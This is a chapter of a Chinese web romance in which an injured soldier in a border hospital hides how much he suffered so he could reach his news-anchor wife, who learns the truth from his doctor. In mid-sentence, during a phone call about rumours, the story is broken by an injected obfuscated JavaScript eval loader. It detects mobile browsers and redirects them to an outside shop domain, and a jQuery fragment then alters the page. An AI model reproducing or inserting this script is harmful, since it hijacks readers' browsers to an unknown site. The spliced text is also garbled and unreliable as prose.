直播反响异常热烈。电视台热线几乎打到爆。
结束直播的苏皖才知道，陆铮已在边境医院住了八天。
呼吸机撤除，床头摇高的角度从十五度缓缓调至四十五度。这几日他一个人，怎么熬过来的呢？医生查房，只说，最危险的关口已经过去了。
他的饮食仍停在半流食。
小米南瓜粥、蒸蛋羹、撇去浮油的清鸡汤。
苏皖每天提着保温盅过来，一勺一勺晾到不烫不凉，看着他一口一口喝完。
他从不说多，也不说少，接过碗时只问一句：“你吃了吗？”
苏皖点头。
他便不再多言。
她没说，台里食堂的菜偏油腻，她这阵子常常忙到忘了吃午饭。
陆铮与苏皖相识不过一年。
初识在一场城市安全应急演练直播，她是现场出镜记者，他是演练现场最高指挥官。镜头里他冷峻果决，指令干脆；镜头外她沉稳专业，临阵不乱。一来二去，因公益宣传、文明共建活动几次交集，沉稳寡言的特战团长，与清醒通透的新闻主播，在克制与试探里慢慢靠近。
没有热烈追求，没有惊天告白。
他看中她的通透与坚韧，她读懂他铁血之下的责任与温柔。
低调领证，低调成婚。没想到新婚当夜，他连夜归队，奔赴边境维和任务。再见面，便是胸腹贯穿伤、病危通知、千里转运。
这天下午，陆铮被队员推去做术后评估，病房里只剩苏皖一人。值班军医生门取病历，认出她是前一天直播的市台晚间新闻主播，翻着病历册，随口聊起恢复情况。
“陆队长底子硬。”医生的笔尖落在纸页上，“换别人受胸腹贯穿伤，十二小时长途跨区转运，血氧掉到七十三，二次插管的准备都备齐了——能活着落地，是从死神手里抢回来的。”
苏皖坐在床沿，手里攥着保温杯。没出声。
医生没抬头，继续签字：“我们所有人都劝，等生命体征完全稳定再转，至少拔了引流管。他不听。昏迷刚醒第一句，问时间。队员报完，他心算了几秒，说来得及。”
“来得及什么？”苏皖开口，声音很轻，却带着一丝发涩。
医生抬眼看她：“来得及赶你的晚间新闻。他在境外医疗点时，每天准点守着直播看，一次不落。转运途中一直问，开播没有。我们后来才知道，他爱人就是市台的主持人。”
苏皖垂眸，看向保温杯。
里面是雪梨汤，清晨炖的，还留着余温。浅金色的汤面平静无波，她忽然想起昨天那十五分钟的专访直播。
陆铮全程脊背挺直，语速平稳，呼吸节奏控制得纹丝不乱。回答第一个问题时，甚至极浅地笑了一下，淡得像在提一次寻常外勤。
她以为那是恢复良好。
“你不知道啊！陆队长转运途中血氧跌破临界，采访前天夜还发着烧，三十八度五，为了镜头前状态好，他提前让护士撤了镇痛泵。那天你来之前，他只咽下三勺小米粥——多一口，就会反胃呛咳，就会在镜头前露馅。”医生絮絮叨叨说了很多，陆铮，他居然藏得滴水不漏。
“还有一件事。”医生合起病历本，“转院前三天，他胃动力没恢复，全靠营养液撑着。他为了提前转院，他坚持吃半流食，不然体力扛不住路途消耗。”医生看她一眼，语气轻淡：“我们劝他不要玩命，你猜他说什么？”
苏皖没答。
“他说，‘她看见我这副样子，会担心。’”
医生顿了顿，语气里带着几分叹服，“那三天，他逼自己一日三顿，吐了再要，再吐再要。护士站被他拿走十二碗粥。我从医十几年，没见过对自己这么狠的病人。”
医生离开。病房彻底安静下来。监护仪处于待机状态，屏幕暗着，只剩初冬的阳光斜斜铺在地面的防滑纹上，一格一格，清晰分明。
十二碗小米粥。
苏皖忽然想起直播后的一天，他勉强能坐二十分钟，队员摇高床头，递来一碗南瓜糊。
他低头，一口，两口，三口。
她在旁边打着苹果泥，一勺一勺放在小碗里。他吃到第四口时停了很久，喉结轻轻滚动，把涌上来的不适感强压了回去。
她那时没有抬头，只把打好的苹果泥，轻轻推到他手边。
她以为是恢复期的正常不适。
原来他是在拼命。
她拧紧杯盖，把饮水口的盖子按开，再盖上，再按开。
咔嗒。咔嗒。
轻响在空荡的病房里格外清晰。
像在计算一段她从未参与、他独自死扛的时差。
陆铮被推回病房时，苏皖已经把床头的药盒按时辰一一排好。
他靠回枕上，脸色比清晨又白了一层。术后评估总要折腾一番，胸腹伤口便沉钝地疼。他没皱眉，也没吭声，只接过战士递来的温水，浅浅饮了一口。
苏皖取出雪梨汤，倒进小碗，一勺一勺晾到温凉。
陆铮看着她的侧脸，声音很轻：“医生跟你说了什么？”
“说你恢复得很好。”她没有抬头。
他静了一瞬，轻易看穿她指尖细微的轻颤：“皖皖。”
她不应。
“受伤没有告诉你，是因为——”
“因为你在转运飞机上血氧七十三。”她打断他，声线平稳得近乎冷静，“医生已经准备二次插管。你昏迷三十小时，醒过来第一件事，是问时间，问晚间新闻有没有开播。”
汤匙轻轻抵在碗沿，发出一声细脆的响。
她抬眼，望向他，目光平静却有力：“还因为，转院前三天，你吐了十二碗小米粥。”
陆铮沉默。
没有问她从何得知，只在心里轻轻叹了一句，护士站的嘴，没守住。
“你每天准点看我的直播。”苏皖继续说，语气没有起伏，“转运路上看，血氧掉成那样也看。医生说晚落地半小时就救不回来，你还在问，来得及吗。”
她一字一句清晰，“昨天那场直播，你夜里发烧三十八度五，撤了镇痛泵，只喝三口粥。我以为你真的好了。”
陆铮张了张嘴。
想说他好多了，想说粥没有白吐，想说那场直播是他这三个月最踏实的一刻。
可对上她泛红却无泪的眼，所有解释都咽了回去。
她不是生气他隐瞒。
是疼得无处安放。
“先喝汤。”苏皖把碗递到他手边。
陆铮接过，一勺一勺，安静地喝完。他一直不让她喂饭，坚持自己吃。
她没有看他。
他望着碗沿的细雾，心里清楚，她这是把所有情绪，压到了最底。
空碗放回柜面，苏皖伸手来接。
他一把握住她的手腕。
她没有挣。
“皖皖。”他声音微哑。
她垂眸。
他的拇指轻轻蹭过她手腕内侧的皮肤，像是哀求。他们相识很晚，相知很短，相守更仓促，可他从第一眼见到她，便认定了是这个人。
他出身普通家庭，没有人庇护，习惯独自扛命，不习惯示弱，更不习惯让她担惊受怕。
“昨天那场直播，是我主动同意的。”他说。
“我知道。”
“我原本以为，台里会派其他记者过来。”
“我知道。”
“我想等气色再好一些，能自己坐起来不用人扶，再让你靠近一点。”
苏皖终于抬眼，眼眶红得发潮，语气却稳而沉静：“陆铮，你学会一件事就行。”
他静静望着她。
“扛不住的，不要硬扛。”
她顿了顿，声音轻却坚定，“你扛不住的，还有我。”
陆铮没有说话。
他握着她的手，轻轻拉近，将她的掌心贴在自己的脸颊。
那里是大量失血后的苍白，是三天未刮净的胡茬，是颧骨下一道浅浅的任务旧疤。
他只说了一个字，轻得像呼吸：
“好。”
阳光落在两人交握的指缝间，监护仪重新亮起，滴答声规律而平稳。
傍晚，手机响起。
陆铮刚服完镇痛药，精神尚可。陪护队员递来手机，他看了一眼来电显示：梁副队。
苏皖收拾碗筷，起身要去外间回避。
他轻轻拉住她的衣角。
“不用走。”
她停住脚步，安静坐回床边的椅子上。
陆铮接起电话。病房太静，梁副队的声音虽压得很低，每一个字都清晰可闻。
“沈择那边，在派出所全部交代了。家属院和医院的谣言，是他一手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211698|197427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
策划、故意散布的。他挑中刘婶牵头，因为你爱人之前帮过她家人处理纠纷，没按她的私心走，她心里存怨。沈择一撺掇，她就出头闹。周嫂那几个人不知情，稀里糊涂跟着签了名。”
副队的声音沉而严肃，“你想公了还是私了？公了，没有实质伤害，不会很重。私了……”
“公了。”陆铮没有犹豫。挂了电话，他看向苏皖。
“都听见了？”
苏皖点了点头。
台里也正流言四起，说她勾引沈择，三个月，夜不归宿。
陆铮伸手，将她放在膝头的手，稳稳包进掌心。
她指尖发凉，他用指腹一点一点，慢慢揉暖。
窗外天色渐渐沉下来，病房里只开了一盏床头灯。
苏皖忽然开口，声音很轻：
“十二碗粥。”
陆铮看着她。
“你吐了十二碗。”她说。
他没有否认，语气平静而笃定：“不喝，撑不住转运。撑不住转运，见不到你。”
他望着她的眼睛，没有半句华丽言辞，“十二碗粥，换提前七天见到你，值。”
苏皖没有说话，只是俯身，轻轻将脸靠在他肩窝。
隔着一层病号服，一层纱布，一层未愈的贯穿伤。
睫毛扫过他的锁骨，轻而湿。没有哭声，只有肩膀极轻地起伏。
陆铮抬起那只没有输液的手，轻轻落在她的后脑，一下，又一下。
动作很慢，很轻，像在安抚一段仓促又沉重的时光。
一周后，周嫂拎着一兜橘子来病房探望。
絮絮说了半钟头，说刘婶悔得闭门不出，说几个跟风的嫂子臊得绕路走，说家属院再也没人敢提半句闲话。末了，她攥着橘子皮，声音低了下去：“小苏，嫂子也签了名。我当时不知道是被人当枪使……”
苏皖正给窗边的绿萝浇水，水流细而稳。
她没有回头，只轻轻问了一句：“那天他给你打电话，打了多久？”
周嫂一怔：“……一刻钟。”
“他那时镇痛泵刚撤，吃一顿饭要歇三次。”苏皖终于转身，语气平淡无波。
“他跟我说，你这三个月不是不回家，是回家睡不着；说你没做错任何事。”
周嫂眼眶发红，声音发颤：“他说，他信你。”
病房静了片刻。
苏皖把绿萝往窗台中央推了半寸，动作轻稳，没有波澜。
那晚，苏皖在病房待到很晚。
探视时间过了，护士来催了两回，她嘴上应着，手仍在默默整理床头柜：保温杯灌满温水，摆到他右手边；拖鞋并拢对齐床尾；窗帘拉合一半，挡住夜风；次日要换的病号服叠得整齐，搭在椅背上。
“该走了。”陆铮说。
她没有应，背对着他站着。
肩线轻轻绷起，又缓缓落下。
陆铮伸手，握住她垂在身侧的指尖。
苏皖缓缓转身。
床头灯半明半暗，她眼眶发红，眼底含着泪光，却始终没有掉下来。
“三千七百公里。”她声音微哑，“你以后再这样赶，”她顿了顿，语气认真，没有半分玩笑：“我就申请战地记者。”
陆铮拉着她的手紧了。
“你去哪，我跟到哪。”
他想劝，可望着她眼里的坚定，所有劝说都咽了回去。
他忽然笑了一下。
牵动胸口未愈的伤，微疼，却收不住。
“好。”
苏皖看着他，绷了三个月的嘴角，终于极轻地弯起一点弧度。
她没有走，搬了椅子守在床边。
陆铮也没有催，只握着她的手，伴着监护仪规律的滴答声，慢慢阖上眼睛。
半梦半醒之间，他轻声唤她：“皖皖。”她低低应了一声。
他没有睁眼，声音轻得像落在呼吸里：
“那十二碗粥，值了。”
苏皖没有说话，只是将他的手，握得更紧了一些。
窗台的绿萝叶片，在夜风里轻轻一动。
病房里再无声响，只剩彼此的气息，稳而安定。
监护仪的滴答声，一声一声，落在岁月里。
是他从边境死里归来的证明。
是她终于不必独自硬撑的底气。